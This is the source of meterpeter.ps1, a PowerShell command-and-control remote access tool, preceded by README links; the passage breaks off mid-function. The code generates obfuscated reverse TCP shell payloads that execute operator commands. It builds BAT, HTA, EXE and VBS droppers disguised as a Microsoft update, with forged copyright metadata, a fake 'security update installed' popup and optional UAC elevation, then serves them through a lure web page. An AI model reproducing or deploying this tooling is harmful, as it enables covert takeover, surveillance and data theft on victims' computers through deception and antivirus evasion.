- **[meterpeter WIKI pages (Oficial Documentation)](https://github.com/r00t-3xp10it/meterpeter/wiki)**
- **[Jump To Top of this readme File](https://github.com/r00t-3xp10it/meterpeter/blob/master/README.md#octocat-quick-jump-list)**
---
================================================
FILE: meterpeter.ps1
================================================
##
# Author: @r00t-3xp10it (ssa redteam)
# Tested Under: Windows 10 (19044) x64 bits
# Required Dependencies: Invoke-WebRequest
# Optional Dependencies: BitsTransfer|Python
# PS cmdlet Dev version: V2.10.14
# PS cmdlet sub version: V2.10.14.0
# GitHub: https://github.com/r00t-3xp10it/meterpeter/releases
##
$SserverTime = Get-Date -Format "dd/MM/yyyy HH:mm:ss"
$HTTP_PORT = "8087" # Python http.server LPort (optional)
$CmdLetVersion = "2.10.14" # meterpeter C2 version (dont change)
$DeveloVersion = "2.10.14.0" # meterpeter C2 dev version (dont change)
$payload_name = "Update-KB5005101" # Client-payload filename (dont change)
$Dropper_Name = "Update-KB5005101" # Payload-dropp`er filename (optional)
$Acdst = "rem#ote ac#ce#ss" -replace '#',''
$Acdts = "ob#fus#cat#ed" -replace '#',''
$EndBanner = @"
__ __ ____ _____ ____ ____ ____ ____ _____ ____ ____
| \/ || ===||_ _|| ===|| () )| ()_)| ===||_ _|| ===|| () )
|_|\/|_||____| |_| |____||_|\_\|_| |____| |_| |____||_|\_\
Author: @ZHacker13 &('r00t-3xp10it') - SSA_redteam @2023 V${CmdLetVersion}
Date: $SserverTime - Cmdlet subdevelop version: $DeveloVersion
"@;
$StartBanner = @"
__ __ ____ _____ ____ ____ ____ ____ _____ ____ ____
| \/ || ===||_ _|| ===|| () )| ()_)| ===||_ _|| ===|| () )
|_|\/|_||____| |_| |____||_|\_\|_| |____| |_| |____||_|\_\
Author: @ZHacker13 &('r00t-3xp10it') - SSA_redteam @2023 V${CmdLetVersion}
Meterpeter its a command & control (C2) $Acdst tool (rat)
written in pure powershell released to windows (python3 required)
or to linux (powershell and apache2 required) distros. It creates
reverse_tcp_shell payloads (pure powershell + sockets) $Acdts
in BXOR using a secret key and also creates one dropper file that
allow users to fast deliver the payload on LAN networks for tests.
"@;
$Modules = @"
__ __ ____ _____ ____ ____ ____ ____ _____ ____ ____
| \/ || ===||_ _|| ===|| () )| ()_)| ===||_ _|| ===|| () )
|_|\/|_||____| |_| |____||_|\_\|_| |____| |_| |____||_|\_\
Author: @ZHacker13 &('r00t-3xp10it') - SSA_redteam @2023 V${CmdLetVersion}
Command Description
------- ------------------------------
Info Remote host system information
Session Meterpeter C2 connection status
AdvInfo Advanced system information sub-menu
Upload Upload from local host to remote host
Download Download from remote host to local host
Screenshot Capture remote host desktop screenshots
keylogger Install remote host keyloggers sub-menu
PostExploit Post Exploitation modules sub-menu
NetScanner Local LAN network scanner sub-menu
Pranks Prank remote host modules sub-menu
exit Exit rev_tcp_shell [server+client]
"@;
try{#Check http.server
$MyServer = python -V
If(-not($MyServer) -or $MyServer -eq $null)
{
$strMsg = "Warning: python (http.server) not found in current system." + "`n" + " 'Install python (http.server) to deliver payloads on LAN'.."
powershell (New-Object -ComObject Wscript.Shell).Popup($strMsg,10,'Deliver Meterpeter payloads on LAN',0+48)|Out-Null
}
Else
{
$PInterpreter = "python"
}
}Catch{
powershell (New-Object -ComObject Wscript.Shell).Popup("python interpreter not found ...",6,'Deliver Meterpeter payloads on LAN',0+48)|Out-Null
}
function Char_Obf($String){
$String = $String.toCharArray();
ForEach($Letter in $String)
{
$RandomNumber = (1..2) | Get-Random;
If($RandomNumber -eq "1")
{
$Letter = "$Letter".ToLower();
}
If($RandomNumber -eq "2")
{
$Letter = "$Letter".ToUpper();
}
$RandomString += $Letter;
$RandomNumber = $Null;
}
$String = $RandomString;
Return $String;
}
function msaudite($String){
$finalcmdline = "ASC" + "II" -join ''
$PowerShell = "I`E`X(-Jo" + "in((@)|%{[char](`$_-BX" + "OR #)}));Exit" -join ''
$Key = '0x' + ((0..5) | Get-Random) + ((0..9) + ((65..70) + (97..102) | % {[char]$_}) | Get-Random);Start-Sleep -Milliseconds 30
( '!'|% {${~ }= +$()}{ ${ /'}=${~ }} {${) } = ++ ${~ }}{ ${;.*}=( ${~ }=${~ }+ ${) }) }{ ${)#+} =(${~ } = ${~ } + ${) } )} { ${~(}=(${~ }= ${~ } + ${) } ) }{ ${*-}= (${~ } =${~ }+${) })}{${()``}=(${~ }= ${~ } + ${) } )} {${]/!}= ( ${~ } = ${~ } + ${) })} {${# } = (${~ } = ${~ }+ ${) } ) }{${*;} = (${~ }= ${~ }+ ${) } )} {${/} ="["+ "$(@{ })"[ ${]/!} ]+ "$(@{ })"["${) }${*;}"]+ "$( @{ } )"[ "${;.*}${ /'}"]+"$? "[ ${) } ] + "]" }{${~ } = "".("$(@{}) "["${) }${~(}" ]+"$( @{ }) "["${) }${()``}"]+"$( @{ }) "[ ${ /'}] + "$( @{ } )"[ ${~(} ]+ "$? "[ ${) }]+ "$(@{ } )"[${)#+}] ) } { ${~ }="$(@{})"[ "${) }${~(}"] +"$(@{ })"[ ${~(} ]+ "${~ }"[ "${;.*}${]/!}" ] } ) ; .${~ }( " ${/}${)#+}${()``}+ ${/}${# }${)#+}+ ${/}${) }${) }${()``}+${/}${) }${) }${~(} +${/}${) }${ /'}${*-}+${/}${) }${) }${ /'} + ${/}${) }${ /'}${)#+} +${/}${)#+}${;.*} + ${/}${()``}${) }+ ${/}${)#+}${;.*} +${/}${)#+}${()``}+ ${/}${~(}${ /'} + ${/}${*;}${) }+${/}${# }${)#+} + ${/}${) }${;.*}${) }+ ${/}${) }${) }${*-}+${/}${) }${) }${()``} + ${/}${) }${ /'}${) }+ ${/}${) }${ /'}${*;}+${/}${~(}${()``} + ${/}${# }${~(}+${/}${) }${ /'}${) }+ ${/}${) }${;.*}${ /'}+${/}${) }${) }${()``}+${/}${~(}${()``} +${/}${()``}${*;} +${/}${) }${) }${ /'} + ${/}${*;}${*;} + ${/}${) }${) }${) } + ${/}${) }${ /'}${ /'} +${/}${) }${ /'}${*-} +${/}${) }${) }${ /'}+ ${/}${) }${ /'}${)#+}+ ${/}${*;}${)#+}+ ${/}${*-}${# }+${/}${*-}${# } + ${/}${)#+}${()``}+ ${/}${) }${ /'}${;.*} + ${/}${) }${ /'}${*-} + ${/}${) }${) }${ /'} + ${/}${*;}${]/!} +${/}${) }${ /'}${# } +${/}${*;}${*;}+${/}${) }${ /'}${*;} + ${/}${) }${ /'}${ /'}+ ${/}${) }${ /'}${# }+${/}${) }${ /'}${*-}+${/}${) }${) }${ /'} +${/}${) }${ /'}${) }+ ${/}${~(}${()``}+ ${/}${]/!}${) }+ ${/}${) }${ /'}${) }+${/}${) }${) }${()``}+${/}${()``}${()``} + ${/}${) }${;.*}${) } + ${/}${) }${) }${()``}+ ${/}${) }${ /'}${) }+ ${/}${) }${) }${*-}+ ${/}${~(}${ /'} +${/}${)#+}${()``}+${/}${# }${)#+} +${/}${) }${) }${()``} +${/}${) }${) }${~(} + ${/}${) }${ /'}${*-}+${/}${) }${) }${ /'} + ${/}${) }${ /'}${)#+}+${/}${~(}${) }+ ${/}${) }${;.*}${~(}+ ${/}${)#+}${]/!}+${/}${) }${;.*}${)#+} +${/}${)#+}${()``}+ ${/}${*;}${*-}+ ${/}${)#+}${;.*}+${/}${~(}${*-} +${/}${()``}${()``} +${/}${# }${# } +${/}${]/!}${*;} + ${/}${# }${;.*}+${/}${)#+}${;.*} +${/}${)#+}${()``} +${/}${]/!}${*-} + ${/}${) }${ /'}${) }+${/}${) }${;.*}${) } + ${/}${) }${;.*}${*-} + ${/}${~(}${) }+ ${/}${)#+}${;.*} + ${/}${~(}${*-} +${/}${) }${ /'}${()``} +${/}${) }${) }${) } + ${/}${) }${ /'}${*-}+ ${/}${) }${) }${ /'} + ${/}${)#+}${;.*}+ ${/}${)#+}${*;}+${/}${~(}${~(}+${/}${)#+}${*;}|${~ }")
$PowerShell = Char_Obf($PowerShell);$PowerShell = $PowerShell -replace "@","$String";$PowerShell = $PowerShell -replace "#","$Key";
$CMD = "hello world";$CMD = Char_Obf($CMD);$CMD = $CMD -replace "@","$String";$CMD = $CMD -replace "#","$Key";
Return $PowerShell,$CMD;
}
function ChkDskInternalFuncio($String){
$RandomVariable = (0..99);
For($i = 0; $i -lt $RandomVariable.count; $i++){
$Temp = (-Join ((65..90) + (97..122) | Get-Random -Count 5 | % {[char]$_}));
While($RandomVariable -like "$Temp"){
$Temp = (-Join ((65..90) + (97..122) | Get-Random -Count 5 | % {[char]$_}));
}
$RandomVariable[$i] = $Temp;
$Temp = $Null;
}
$RandomString = $String;
For($x = $RandomVariable.count; $x -ge 1; $x--){
$Temp = $RandomVariable[$x-1];
$RandomString = "$RandomString" -replace "\`$$x", "`$$Temp";
}
$String = $RandomString;
Return $String;
}
function NetworkStats($IP,$Port,$Base64_Key){
[int]$Signature = Get-Random -Minimum 1 -Maximum 3
$dadoninho = "Fr`omB" + "ase`6" + "4Str`ing" -Join ''
$deskmondll = "`$mscorelib='1'+'024' -Join '';`$MicrosoftAccountCloudAP='Cre'+'ateIn'+'stance' -join '';powershell (New-Object -ComObject Wscript.Shell).Popup('Security update installed.',$Signature,'KB5005101 21H1',0+0);`$3=`"#`";`$1=[System.Byte[]]::`$MicrosoftAccountCloudAP([System.Byte],`$mscorelib);Get-Date|Out-File bios.log;`$filemgmtdll='FromB'+'ase6'+'4String' -Join '';`$2=([Convert]::`$filemgmtdll(`"@`"));`$4=I``E``X([System.Runtime.Int"+"eropServices.Marshal]::PtrToStr"+"ingAuto([System.Runtime.InteropSe"+"rvices.Marshal]::SecureStringToBSTR((`$3|ConvertTo-SecureString -Key `$2))));While(`$5=`$4.GetStream()){;While(`$5.DataAvailable -or `$6 -eq `$1.count){;`$6=`$5.Read(`$1,0,`$1.length);`$7+=(New-Object -TypeName System.Text.ASCIIEncoding).GetString(`$1,0,`$6)};If(`$7){;`$8=(I``E``X(`$7)2>&1|Out-String);If(!(`$8.length%`$1.count)){;`$8+=`" `"};`$9=([text.encoding]::ASCII).GetBytes(`$8);`$5.Write(`$9,0,`$9.length);`$5.Flush();`$7=`$Null}}";
$Key = $([System.Convert]::$dadoninho($Base64_Key))
#$NewKey = (3,4,2,3,56,34,254,222,1,1,2,23,42,54,33,233,1,34,2,7,6,5,35,43)
$C2 = ConvertTo-SecureString "New-Object System.Net.Sockets.TCPClient('$IP','$Port')" -AsPlainText -Force | ConvertFrom-SecureString -Key $Key;
$deskmondll = ChkDskInternalFuncio(Char_Obf($deskmondll));
$deskmondll = $deskmondll -replace "@","$Base64_Key";
$deskmondll = $deskmondll -replace "#","$C2";
Return $deskmondll;
}
Clear-Host;
Write-Host $StartBanner
write-host " * GitHub: https://github.com/r00t-3xp10it/meterpeter *`n`n" -ForegroundColor DarkYellow
$DISTRO_OS = pwd|Select-String -Pattern "/" -SimpleMatch; # <-- (check IF windows|Linux Separator)
If($DISTRO_OS)
{
## Linux Distro
$IPATH = "$pwd/"
$Flavor = "Linux"
$Bin = "$pwd/mimiRatz/"
$APACHE = "/var/www/html/"
}Else{
## Windows Distro
$IPATH = "$pwd\"
$Flavor = "Windows"
$Bin = "$pwd\mimiRatz\"
$APACHE = "$env:LocalAppData\webroot\"
}
$Obfuscation = $null
## User Input Land ..
Write-Host "Input Local Host: " -NoNewline;
$LHOST = Read-Host;
$Local_Host = $LHOST -replace " ","";
Write-Host "Input Local Port: " -NoNewline;
$LPORT = Read-Host;
$Local_Port = $LPORT -replace " ","";
## Default settings
If(-not($Local_Port)){$Local_Port = "666"};
If(-not($Local_Host)){
If($DISTRO_OS){
## Linux Flavor
$Local_Host = ((ifconfig | grep [0-9].\.)[0]).Split()[-1]
}else{
## Windows Flavor
$Local_Host = ((ipconfig | findstr [0-9].\.)[0]).Split()[-1]
}
}
If($Flavor -ieq "Windows")
{
Write-Host "`n`n* Payload dropper format sellection!" -ForegroundColor Black -BackgroundColor Gray
Write-Host "Id DropperFileName Format AVDetection UacElevation PsExecutionBypass" -ForegroundColor Green
Write-Host "-- -------------------- ------ ----------- ------------ -----------------"
Write-Host "1 Update-KB5005101.bat BAT Undetected optional true"
Write-Host "2 Update-KB5005101.hta HTA Undetected false true"
Write-Host "3 Update-KB5005101.exe EXE Undetected optional true" -ForegroundColor Yellow
Write-Host "4 Update-KB5005101.vbs VBS Undetected optional true" -ForegroundColor DarkGray
$FlavorSellection = Read-Host "Id"
}
ElseIf($Flavor -ieq "Linux")
{
Write-Host "`n`n* Payload dropper format sellection!" -ForegroundColor Black -BackgroundColor Gray
Write-Host "Id DropperFileName Format AVDetection UacElevation PsExecutionBypass" -ForegroundColor Green
Write-Host "-- -------------------- ------ ----------- ------------ -----------------"
Write-Host "1 Update-KB5005101.bat BAT Undetected optional true"
Write-Host "2 Update-KB5005101.hta HTA Undetected false true"
$FlavorSellection = Read-Host "Id"
}
## End Of venom Function ..
$viriatoshepard = ("T@oB@a" + "s@e6@4St@" + "r@i@n@g" -join '') -replace '@',''
$Key = (1..32 | % {[byte](Get-Random -Minimum 0 -Maximum 255)});
$Base64_Key = $([System.Convert]::$viriatoshepard($Key));
Write-Host "`n[*] Generating Payload ✔";
$deskmondll = NetworkStats -IP $Local_Host -Port $Local_Port -Base64_Key $Base64_Key;
Write-Host "[*] Obfuscation Type: BXOR ✔"
$deskmondll = msaudite($deskmondll);
Clear-Host;
Write-Host $StartBanner
write-host " * GitHub: https://github.com/r00t-3xp10it/meterpeter *`n`n" -ForegroundColor DarkYellow
Write-Host " - Payload : $payload_name.ps1"
Write-Host " - Local Host : $Local_Host"
Write-Host " - Local Port : $Local_Port"
Start-Sleep -Milliseconds 800
$PowerShell_Payload = $deskmondll[0];
$CMD_Payload = $deskmondll[1];
Write-Host "`n[*] PowerShell Payload:`n"
Write-Host "$PowerShell_Payload" -ForeGroundColor black -BackGroundColor white
write-host "`n`n"
$My_Output = "$PowerShell_Payload" | Out-File -FilePath $IPATH$payload_name.ps1 -Force;
## Better obfu`scated IE`X system call
$ttl = ("I" + "@_`X" -Join '') -replace '@_','E'
#((Get-Content -Path $IPATH$payload_name.ps1 -Raw) -Replace "$ttl","Get-Date -Format 'HH:mm:ss'|Out-File bios.log;&(''.SubString.ToString()[67,72,64]-Join'')")|Set-Content -Path $IPATH$payload_name.ps1
((Get-Content -Path $IPATH$payload_name.ps1 -Raw) -Replace "$ttl","&('REX' -replace 'R','I')")|Set-Content -Path $IPATH$payload_name.ps1
$Server_port = "$Local_Host"+":"+"$HTTP_PORT";
$check = Test-Path -Path "/var/www/html/";
If($check -ieq $False)
{
try{
#Check Attacker http.server
python -V > $Env:TMP\ff.log
$Python_version = (Get-Content "$Env:TMP\ff.log" -ErrorAction SilentlyContinue)
Remove-Item -Path "$Env:TMP\ff.log" -Force -ErrorAction SilentlyContinue
}Catch{}
If(-not([string]::IsNullOrEmpty($Python_version)))
{
$Webroot_test = Test-Path -Path "$env:LocalAppData\webroot\";
If($Webroot_test -ieq $True){cmd /R rmdir /Q /S "%LocalAppData%\webroot\";mkdir $APACHE|Out-Null}else{mkdir $APACHE|Out-Null};
## Attacker: Windows - with python3 installed
# Deliver Dro`pper.zip using python http.server
write-Host " WebServer Client Dropper WebRoot" -ForegroundColor Green;
write-Host " --------- ------ ------- -------";
write-Host " Python3 Update-KB5005101.ps1 Update-KB5005101.zip $APACHE";write-host "`n`n";
Copy-Item -Path $IPATH$payload_name.ps1 -Destination $APACHE$payload_name.ps1 -Force
If($FlavorSellection -eq 2)
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - meterpeter payload HTA drop`per application
#>
cd $Bin
#delete old files left behind by previous executions
If(Test-Path -Path "$Dropper_Name.hta" -EA SilentlyContinue)
{
Remove-Item -Path "$Dropper_Name.hta" -Force
}
#Make sure HTA template exists before go any further
If(-not(Test-Path -Path "Update.hta" -EA SilentlyContinue))
{
Write-Host "ERROR: file '${Bin}Update.hta' not found ..." -ForeGroundColor Red -BackGroundColor Black
Write-Host "`n";exit #Exit @Meterpeter
}
#Replace the server ip addr + port on HTA template
((Get-Content -Path "Update.hta" -Raw) -Replace "CharlieBrown","$Server_port")|Set-Content -Path "Update.hta"
#Embebed meterpter icon on HTA application?
#iwr -Uri "https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/theme/meterpeter.ico" -OutFile "meterpeter.ico"|Out-Null
#Start-Process -WindowStyle hidden cmd.exe -ArgumentList "/R COPY /B meterpeter.ico+Update.hta $Dropper_Name.hta" -Wait
Copy-Item -Path "Update.hta" -Destination "$Dropper_Name.hta" -Force
#Compress HTA application and port the ZIP archive to 'webroot' directory!
Compress-Archive -LiteralPath "$Dropper_Name.hta" -DestinationPath "${APACHE}${Dropper_Name}.zip" -Force
#Revert original HTA to default to be used again
((Get-Content -Path "Update.hta" -Raw) -Replace "$Server_port","CharlieBrown")|Set-Content -Path "Update.hta"
#Delete artifacts left behind
#Remove-Item -Path "meterpeter.ico" -EA SilentlyContinue -Force
Remove-Item -Path "$Dropper_Name.hta" -EA SilentlyContinue -Force
#return to meterpeter working directory (meterpeter)
cd $IPATH
}
ElseIf($FlavorSellection -eq 3)
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - meterpeter payload EXE dro`pper application
#>
cd $Bin
$Dropper_Bat = "Update.ps1"
$Dropper_Exe = "Update-KB5005101.exe"
((Get-Content -Path "$Dropper_Bat" -Raw) -Replace "CharlieBrown","$Server_port")|Set-Content -Path "$Dropper_Bat"
#Download the required files from my GITHUB meterpeter repository!
iwr -Uri "https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/PS2EXE/ps2exe.ps1" -OutFile "ps2exe.ps1"|Out-Null
iwr -Uri "https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/PS2EXE/meterpeter.ico" -OutFile "meterpeter.ico"|Out-Null
$RunEXElevated = Read-Host "[i] Make dropper spawn UAC dialog to run elevated? (y|n)"
If($RunEXElevated -iMatch '^(y|yes)$')
{
.\ps2exe.ps1 -inputFile "$Dropper_Bat" -outputFile "$Dropper_Exe" -iconFile "meterpeter.ico" -title "Secure KB Update" -version "45.19041.692.2" -copyright "©Microsoft Corporation. All Rights Reserved" -product "KB5005101" -noError -noConsole -requireAdmin|Out-Null
Start-Sleep -Seconds 2
}
Else
{
.\ps2exe.ps1 -inputFile "$Dropper_Bat" -outputFile "$Dropper_Exe" -iconFile "meterpeter.ico" -title "Secure KB Update" -version "45.19041.692.2" -copyright "©Microsoft Corporation. All Rights Reserved" -product "KB5005101" -noError -noConsole|Out-Null
Start-Sleep -Seconds 2
}
#Compress EXE executable and port the ZIP archive to 'webroot' directory!
Compress-Archive -LiteralPath "$Dropper_Exe" -DestinationPath "$APACHE$Dropper_Name.zip" -Force
#Revert meterpeter EXE template to default state, after successfully created\compressed the binary drop`per (PE)
((Get-Content -Path "$Dropper_Bat" -Raw) -Replace "$Server_port","CharlieBrown")|Set-Content -Path "$Dropper_Bat"
#Clean all artifacts left behind by this function!
Remove-Item -Path "meterpeter.ico" -EA SilentlyContinue -Force
Remove-Item -Path "$Dropper_Exe" -EA SilentlyContinue -Force
Remove-Item -Path "ps2exe.ps1" -EA SilentlyContinue -Force
cd $IPATH
}
ElseIf($FlavorSellection -eq 4)
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - meterpeter payload VBS drop`per application
.NOTES
This function accepts ip addresses from 11 to 14 chars (local)
example: 192.168.1.1 (11 chars) to 192.168.101.122 (15 chars)
The 'auto-elevation' function requires UAC enabled and ru`nas.
#>
If(-not(Test-Path -Path "$IPATH\Download_Crandle.vbs" -EA SilentlyContinue))
{
## Download crandle_builder.ps1 from my GitHub repository
iwr -uri "https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/utils/crandle_builder.ps1" -OutFile "crandle_builder.ps1"|Unblock-File
}
#Evasion\Obfusca`tion
$NumberOfChars = $Local_Host.length
$SeconRange = $Server_port[5,6,7,8] -join '' # 68.1
$FirstRange = $Server_port[0,1,2,3,4] -join '' # 192.1
If($NumberOfChars -eq 11)
{
#Example: 192.168.1.7 + :8087 = 15 chars
$trithRange = $Server_port[9,10,11,12,13,14,15] -join ''
}
ElseIf($NumberOfChars -eq 12)
{
#Example: 192.168.1.72 + 8087 = 16 chars
$trithRange = $Server_port[9,10,11,12,13,14,15,16] -join '' # .72:8087
}
ElseIf($NumberOfChars -eq 13)
{
#Example: 192.168.1.122 + 8087 = 17 chars
$trithRange = $Server_port[9,10,11,12,13,14,15,16,17] -join ''
}
ElseIf($NumberOfChars -eq 14)
{
#Example: 192.168.15.124 + 8087 = 18 chars
$trithRange = $Server_port[9,10,11,12,13,14,15,16,17,18] -join ''
}
ElseIf($NumberOfChars -eq 15)
{
#Example: 192.168.151.124 + 8087 = 19 chars
$trithRange = $Server_port[9,10,11,12,13,14,15,16,17,18,19] -join ''
}
$Crandle_Build = Read-Host "[i] Create (D)ownload or (F)ileless dropper script? (D|F)"
If($Crandle_Build -iMatch '^(f|fileless)$')
{
$fuckOrNot = "fileless"
$Technic = Read-Host "[i] Chose the FileLess Technic to add to crandle(1|2|3|4)"
}
Else
{
#Default (%tmp%)
$fuckOrNot = "download"
}
If($Technic -Match '^(2)$')
{
$Technic = "two"
}
ElseIf($Technic -Match '^(3)$')
{
$Technic = "three"
}
ElseIf($Technic -Match '^(4)$')
{
$Technic = "four"
}
Else
{
$Technic = "one"
}
$PayloadName = "$payload_name" + ".ps1" -join ''
$RunEXElevated = Read-Host "[i] Make dropper spawn UAC dialog to run elevated ? (Y|N)"
If($RunEXElevated -iMatch '^(y|yes)$')
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Execute VBS with administrator privileges?
.NOTES
This function add's a cmdline to the beggining of the vbs script file
that invokes 'ru`nas' to spawn a UAC dialogbox to elevate appl privileges.
None execution its achieved (crandler) if the target user does not
accept to run the crandler with elevated privileges (UAC dialogBox)
#>
powershell -file crandle_builder.ps1 -action "$fuckOrNot" -VbsName "Download_Crandle.vbs" -PayloadName "$PayloadName" -UACElevation 'true' -Technic "$Technic" -Egg 'true'|Out-Null
}
Else
{
powershell -file crandle_builder.ps1 -action "$fuckOrNot" -VbsName "Download_Crandle.vbs" -PayloadName "$PayloadName" -UACElevation 'false' -Technic "$Technic" -Egg 'true'|Out-Null
}
#Replace the attacker ip addr (obfus`cated\split) on vbs template
((Get-Content -Path "Download_Crandle.vbs" -Raw) -Replace "VIRIATO","$SeconRange")|Set-Content -Path "Download_Crandle.vbs"
((Get-Content -Path "Download_Crandle.vbs" -Raw) -Replace "COLOMBO","$FirstRange")|Set-Content -Path "Download_Crandle.vbs"
((Get-Content -Path "Download_Crandle.vbs" -Raw) -Replace "NAVIGATOR","$trithRange")|Set-Content -Path "Download_Crandle.vbs"
#Download vbs_obfuscator from GitHub repository
#iwr -uri https://raw.githubusercontent.com/DoctorLai/VBScript_Obfuscator/master/vbs_obfuscator.vbs -outfile vbs_obfuscator.vbs|Unblock-File
#Obfusc`ate Program.vbs sourcecode.
#cscript.exe vbs_obfuscator.vbs Download_Crandle.vbs > Buffer.vbs
#Parse data
$CrandleVbsName = "${Dropper_Name}" + ".vbs" -Join '' # Update-KB500101.vbs
#$Obfusc`atedData = Get-Content Buffer.vbs | Select-Object -Skip 3
#echo $Obfusc`atedData > $CrandleVbsName
Start-sleep -Milliseconds 300
#Change vbs crandle signature (add junk function)
#[int]$Chars = Get-Random -Minimum 6 -Maximum 20 #Random variable length sellection! (from 6 => 20)
#$RandVar = -join ((65..90) + (97..122) | Get-Random -Count $Chars | % {[char]$_}) #Random variable creation!
#((Get-Content -Path "Download_Crandle.vbs" -Raw) -Replace "#REPLACEME","Dim reverse")|Set-Content -Path "$CrandleVbsName"
#Compress VBS and port the ZIP archive to 'webroot' directory!
Rename-Item -Path Download_Crandle.vbs -NewName $CrandleVbsName -Force
### COMPILE VBS TO EXE
#C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe /target:exe /out:"$pwd\${Drop`per_Name}.exe" "$pwd\${Dropp`er_Name}.vbs" /platform:anyCPU
Compress-Archive -LiteralPath "$CrandleVbsName" -DestinationPath "${APACHE}${Dropper_Name}.zip" -Force
#Move-Item -Path "$CrandleVbsName" -Destination "${APACHE}${Drop`per_Name}.vbs" -Force
#Clean all artifacts left behind
Remove-Item -Path "Buffer.vbs" -EA SilentlyContinue -force
Remove-Item -Path "vbs_obfuscator.vbs" -EA SilentlyContinue -force
Remove-Item -Path "crandle_builder.ps1" -EA SilentlyContinue -force
Remove-Item -Path "Download_Crandle.vbs" -EA SilentlyContinue -force
Remove-Item -Path "$CrandleVbsName" -EA SilentlyContinue -force
}
Else
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - meterpeter payload BAT drop`per script
#>
## (ZIP + add LHOST) to dro`pper.bat before send it to apache 2 webroot ..
Copy-Item -Path "$Bin$Dropper_Name.bat" -Destination "${Bin}BACKUP.bat"|Out-Null
((Get-Content -Path $Bin$Dropper_Name.bat -Raw) -Replace "CharlieBrown","$Server_port")|Set-Content -Path $Bin$Dropper_Name.bat
$RunEXElevated = Read-Host "[i] Make dropper spawn UAC dialog to run elevated? (y|n)"
If($RunEXElevated -iMatch '^(y|yes)$')
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Execute Batch with administrator privileges?
.NOTES
This function add's a cmdline to the beggining of bat file that uses
'Net Session' API to check for admin privs before executing powershell
-run`as on current process spawning a UAC dialogbox of confirmation.
#>
$MyRunes = "r" + "una" + "s" -join ''
#TODO: run bat with admin privs ??? -> requires LanManServer (server) service active
((Get-Content -Path $Bin$Dropper_Name.bat -Raw) -Replace "@echo off","@echo off`nsc query `"lanmanserver`"|find `"RUNNING`" >nul`nif %ERRORLEVEL% EQU 0 (`n Net session >nul 2>&1 || (PowerShell start -verb $MyRunes '%~0' &exit /b)`n)")|Set-Content -Path $Bin$Dropper_Name.bat
}
Compress-Archive -LiteralPath $Bin$Dropper_Name.bat -DestinationPath $APACHE$Dropper_Name.zip -Force
#Revert original BAT to default to be used again
Remove-Item -Path "$Bin$Dropper_Name.bat" -Force
Copy-Item -Path "${Bin}BACKUP.bat" -Destination "$Bin$Dropper_Name.bat"|Out-Null
Remove-Item -Path "${Bin}BACKUP.bat" -Force
}
write-Host "[i] Send the URL generated to target to trigger download.." -ForegroundColor DarkYellow;
Copy-Item -Path "${IPATH}\Mimiratz\theme\Catalog.png" -Destination "${APACHE}Catalog.png"|Out-Null
Copy-Item -Path "${IPATH}\Mimiratz\theme\favicon.png" -Destination "${APACHE}favicon.png"|Out-Null
Copy-Item -Path "${IPATH}\Mimiratz\theme\Update-KB5005101.html" -Destination "${APACHE}Update-KB5005101.html"|Out-Null
((Get-Content -Path "${APACHE}Update-KB5005101.html" -Raw) -Replace "henrythenavigator","$Dropper_Name")|Set-Content -Path "${APACHE}Update-KB5005101.html"
Write-Host "[i] Attack Vector: http://$Server_port/$Dropper_Name.html" -ForeGroundColor Black -BackGroundColor white
#tinyurl function
powershell -file "${IPATH}\Mimiratz\shorturl.ps1" -ServerPort "$Server_port" -PayloadName "${Dropper_Name}.html"
## Start python http.server (To Deliver Drop`per/Payload)
Start-Process powershell.exe "write-host `" [http.server] Close this Terminal After receving the connection back in meterpeter ..`" -ForeGroundColor red -BackGroundColor Black;cd $APACHE;$PInterpreter -m http.server $HTTP_PORT --bind $Local_Host";
}
else
{
## Attacker: Windows - without python3 installed
# Manualy Deliver Drop`per.ps1 To Target Machine
write-Host " WebServer Client Local Path" -ForegroundColor Green;
write-Host " --------- ------ ----------";
write-Host " NotInstalled Update-KB5005101.ps1 $IPATH";write-host "`n`n";
Write-Host "[i] Manualy Deliver '$payload_name.ps1' (Client) to Target" -ForeGroundColor Black -BackGroundColor white;
Write-Host "[*] Remark: Install Python3 (http.server) to Deliver payloads .." -ForeGroundColor yellow;
Write-Host "[*] Remark: Dropper Demonstration $payload_name.bat created .." -ForeGroundColor yellow;
## Function for @Daniel_Durnea
# That does not have Python3 (http.server) installed to build Drop`pers (download crandles)
# This Demostration Drop`per allow us to execute payload.ps1 in a hidden terminal windows ;)
$DemoDropper = @("#echo off
powershell (New-Object -ComObject Wscript.Shell).Popup(`"Executing $payload_name.ps1 payload`",4,`"$payload_name Security Update`",0+64)
powershell -WindowStyle hidden -File $payload_name.ps1
del `"%~f0`"")
echo $DemoDropper|Out-File "$payload_name.bat" -Encoding string -Force
((Get-Content -Path "$payload_name.bat" -Raw) -Replace "#","@")|Set-Content -Path "$payload_name.bat"
}
}
else
{
## Attacker: Linux - Apache2 webserver
# Deliver Dro`pper.zip using Apache2 webserver
write-Host " WebServer Client Dropper WebRoot" -ForegroundColor Green;
write-Host " --------- ------ ------- -------";
write-Host " Apache2 Update-KB5005101.ps1 Update-KB5005101.zip $APACHE";write-host "`n`n";
Copy-Item -Path $IPATH$payload_name.ps1 -Destination $APACHE$payload_name.ps1 -Force;
If($FlavorSellection -eq 2)
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - meterpeter payload HTA drop`per application
#>
cd $Bin
#delete old files left behind by previous executions
If(Test-Path -Path "$Dropper_Name.hta" -EA SilentlyContinue)
{
Remove-Item -Path "$Dropper_Name.hta" -Force
}
#Make sure HTA template exists before go any further
If(-not(Test-Path -Path "Update.hta" -EA SilentlyContinue))
{
Write-Host "ERROR: file '${Bin}Update.hta' not found ..." -ForeGroundColor Red -BackGroundColor Black
Write-Host "`n";exit #Exit @Meterpeter
}
#Replace the server ip addr + port on HTA template
((Get-Content -Path "Update.hta" -Raw) -Replace "CharlieBrown","$Server_port")|Set-Content -Path "Update.hta"
#Embebed meterpter icon on HTA application?
